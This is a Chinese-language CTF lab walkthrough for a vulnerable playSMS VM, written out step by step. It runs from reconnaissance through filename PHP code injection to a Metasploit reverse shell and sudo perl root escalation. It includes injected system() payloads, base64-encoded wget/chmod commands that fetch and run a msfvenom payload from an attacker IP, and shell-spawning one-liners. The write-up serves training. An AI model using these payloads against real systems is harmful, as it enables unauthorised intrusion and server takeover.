ctf训练 web安全命令注入漏洞
实验环境
一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1FG3VbDmDGHY8rOtuOFhRxA
提取码:oues
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
扫描主机服务信息以及服务版本
– nmap -sV靶场lP地址
快速扫描主机全部信息
–nmap -T4 -A -v靶场IP地址
探测目录信息
– nikto -host http://靶场IP地址:端口
– dirb http://靶场IP地址:端口
深入挖掘
分析nmap . nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
查看一下index.html主页面
查看一下robots
使用浏览器打开http: / /ip:port/敏感页面,查看敏感信息,找到可利用的立置;
访问ange1没有任何可利用信息
访问angel1也是没有任何可利用信息
访问/nothing没有任何返回,但是有点儿404的味道
我们来随便访问一下,该页面服务器不存在,所以会报错404
接下来我们想着查看一下nothing目录的源代码,PHP的源代码一般要注意一下它的注释
接下里我们去访问/tmp和/download都没有任何信息,所以这里的信息挖掘已经完毕
接下来继续去探索
到浏览器当中去访问,发现一个backup.zip文件,我们下载这个文件
将该文件复制到桌面上,然后发现这个文件是需要密码的
然后就会想到之前在robot里面找到的密码
#my secret pass
freedom
password
helloworld!
diana
iloveroot
我们对上面的密码进行尝试,发现第一个就成功了
这样桌面上就有该文件了
这时我们看见该文件是个以mp3为后缀的文件,但是不一定是个mp3文件,这里我们需要判别一下该文件类型,这里的文件类型为文本文档,所以我们可以直接cat查看内容,然后这里面出现了一个url,在浏览器当中去访问试一试
然后我们发现这个是一个登录界面,在上图中我们发现了其用户名为touhid,然后将在robot里面发现的密码带入尝试,发现密码为diana
登录成功
登录-利用exploit-db
利用挖掘到的用户名和密码登陆系统,然后对系统是否使用某种CMS、SMS等进行查看。
利用现成的EXP进行渗透。
渗透测试技巧
–searchsploit 对应的系统
这里对应的系统为playSMS
然后得到一些信息
我们发现浏览器当中访问得不到相应的信息,所以这里我们手动去寻找
这里由于提示要上传csv文件,所以我们在桌面上新建一个csv文件
成功上传
接下来我们打开burpsuite
将文件名这个位置改为自己想要执行的代码
代码内容
<?PHP system('uname -a'); dia();?>.PHP然后go一下,发现该命令已经执行成功了
如果还想继续查看id,就必须重新抓包!!!!
操作步骤和上面雷同,
将1.csv修改为
<?PHP system('id');die(); ?>.PHP
所以这里filename是存在代码注入的
准备shell
启用Metasploit监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter_reverse_tcp
设置ip地址
msf.exploit(handler) >set lhost 攻击机ip
msf. exploit(handler) > run
执行到这里发现没有反弹回来一个shell
![在这里插入图片描述](https://www.icode9.com/i/ll/?i=20201205112519716.png
生成shell
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.43.96 lport=4444 -f elf > /var/www/html/shell
接下来要用到apache服务器,所以我们开启该服务
绕过防火墙上传shell利用base64绕过防火墙检测
– service apache2 start
– echo ‘wget http://攻击机ip/s -O /tmp/a’ |base64
– echo ‘chmod 777 /tmp/a’ | base64– echo ‘/tmp/a’ | base64
打开burpsuite抓包,和之前的步骤一样
修改filename参数内容
–“<?PHP shell_exec(base64_decode('base64encodestring'));die();?>.PHP"
filename="<?PHP system(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC40My45Ni9zIC1PIC90bXAvYQo='));die();?>.PHP"
再一次重新抓包
filename="<?PHP system(base64_decode('Y2htb2QgNzc3IC90bXAvYQo='));die();?>.PHP"
再一次抓包,改filename
filename=<?PHP system(base64_decode('L3RtcC9hCg=='));die();?>.PHP
然后这边终端已经成功反弹回来了shell
提升权限、获取Flag
登录服务器之后,反弹的shell的用户是www-data。并不具备root权限。
使用sudo -l 查看www-data用户的sudo权限;
根据提示执行以下命令(现实渗透中,肯定存在这样的问题。程序员为了方便,便设置了不需要密码就可以执行sudo的操作)
–
sudo perl -e "exec ‘/bin/sh’ "
bash -i
查看flag值
cat flag
总结:
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。